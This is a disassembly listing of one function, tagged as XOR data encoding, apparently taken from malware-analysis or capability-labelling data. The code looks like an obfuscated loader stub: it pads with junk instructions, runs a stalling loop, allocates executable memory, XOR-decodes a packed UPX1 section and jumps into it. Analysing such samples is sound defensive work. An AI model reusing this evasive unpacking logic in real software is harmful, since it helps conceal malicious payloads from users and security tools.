Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x2ff3dc10
mov edi, esi
or esi, edi
popal
sub esi, 0xa21be410
mov esi, edi
mov eax, 0
mov ecx, esi
sub edi, 1
sub edx, edi
sub edx, 0xba9feeec
mov ebx, ecx
and edi, edi
mov edx, 0x1c447e74
add edx, 0xee40d7d4
mov esi, ebx
add edx, 1
or edx, edx
inc eax
add edi, 1
sub edi, 0xbbd1c580
dec edi
cmp eax, 0x1005e96
jne 0xa789c4
sub edi, 0x5999a3a6
dec edi
not edx
sub esi, 0x4ede2546
sub esi, edi
and esi, edi
mov eax, 0xa78796
and edx, edx
mov ecx, edi
mov esi, 0xa7898a
sub ecx, 1
add edx, 0x647d79e8
inc ecx
mov ebx, dword [eax]
sub ecx, edi
not edx
mov edi, ecx
and ebx, 0xff
and edx, ecx
add edi, edx
and edx, edi
xor dword [esi], ebx
dec ecx
mov ecx, edi
not ecx
inc esi
or ecx, ecx
sub edx, edi
sub ecx, edx
inc eax
not edi
sub ecx, edx
cmp esi, entry0
jl 0xa78a35
add ecx, 0x42c26e22
sub edx, 0xc216b0be
and ecx, ecx
not edi
or edi, ebx
dec edi
inc ecx
mov esi, 0xa7898e
inc edx
not ecx
or ebx, ecx
mov esi, dword [esi]
or ecx, ecx
or ebx, ecx
mov esi, dword [esi]
add edx, edx
add ebx, 0xbb897359
push esi
add edx, edi
dec ecx
add edx, ecx
mov esi, 0xa7898a
not ecx
or edi, ecx
mov esi, dword [esi]
mov edi, ebx
sub ecx, 0x2fd99033
add ecx, edi
mov esi, dword [esi]
mov edi, 0xa4dece7
and edx, edx
sub esp, 4
mov dword [esp], 0xa78992
mov edx, 0x111c0b29
add edx, edi
and edx, edx
call esi
and edi, edi
inc ecx
inc ebx
mov esi, dword [esp]
add esp, 4
not ebx
dec ebx
push 0xa7899f
mov edx, 0x5f752319
and ecx, edx
dec ecx
push eax
mov edx, ecx
sub edx, edi
call esi
not ecx
or edi, ecx
add edi, 1
push 0x40
sub edx, 0x4bde236d
sub ecx, edi
push 0x3000
or ebx, ecx
add edx, 0x63b9e4e0
push 0x20000710
add edx, 0x98ca981a
mov edx, 0x13739bfb
push 0
add edi, ebx
or edi, ecx
dec ebx
call eax
sub ebx, 0xc4b94ce2
or ebx, ebx
not ebx
add eax, 0x2000065e
sub ecx, 1
inc ecx
sub ebx, 0x38d7e999
mov esi, 0x5077a4f4
and ebx, ecx
and ecx, ecx
mov ebx, ecx
mov dword [eax], esi
dec edi
dec edx
add edi, 0x196926ee
mov esi, dword [eax]
sub ecx, edi
add edx, 0x11119778
or ebx, edx
cmp esi, 0x5077a4f4
je 0xa78b7d
mov ebx, 0
mov eax, dword [ebx]
and edi, edx
mov ebx, edi
and edx, ebx
sub edi, edx
not edi
sub edi, esi
mov esi, edi
mov eax, section.UPX1
add esi, esi
mov edi, 0xcfc920ac
mov ebx, 0xa78795
dec esi
sub edi, 0x7c7101db
dec edi
mov edx, 0
not esi
add esi, 0xd6dfb3c
mov edi, esi
mov ecx, 0xa78796
or edi, edi
sub esi, edi
lea ecx, [ecx + edx]
not edi
or esi, edi
mov ecx, dword [ecx]
and edi, esi
or edi, edi
not esi
and ecx, 0xff
sub edi, 0x8056c6d9
add esi, 0xcf3c6085
inc edx
mov edi, esi
sub esi, 0x76ee019d
cmp edx, 0x1f4
jne 0xa78bf3
mov edx, 0
sub esi, 0x165127c2
not edi
or edi, esi
add esi, 1
dec edi
xor dword [eax], ecx
and edi, esi
dec esi
or esi, edi
add eax, 2
sub edi, 1
dec edi
mov edi, esi
cmp eax, ebx
jl 0xa78bb3
add edi, 0x609b31f8
not esi
sub esi, edi
not edi
inc esi
mov esi, section.UPX1
sub edi, ebx
sub ebx, 0x8fad43ce
mov edx, section.UPX1
dec edi
add ebx, edi
mov eax, 0xa78795
mov ebx, 0xe21855bd
mov edi, ebx
mov ecx, 0
mov ebx, edi
add edi, 0x39e8b765
not ebx
mov cl, byte [edx]
sub edi, 0x113dc515
dec edi
or ebx, ebx
mov byte [esi], cl
sub edi, 0x7937110
inc ebx
inc esi
not edi
sub edi, 0x2a759ded
and edi, ebx
add edx, 2
not ebx
add ebx, 0xe92d3e23
cmp edx, eax
jle 0xa78c5f
or ebx, ebx
sub edi, ebx
mov ebx, 0x9a656fe0
and edi, esi
or esi, edi
push 0x8dc6a0
or edi, edi
mov esi, edi
sub esi, edi
ret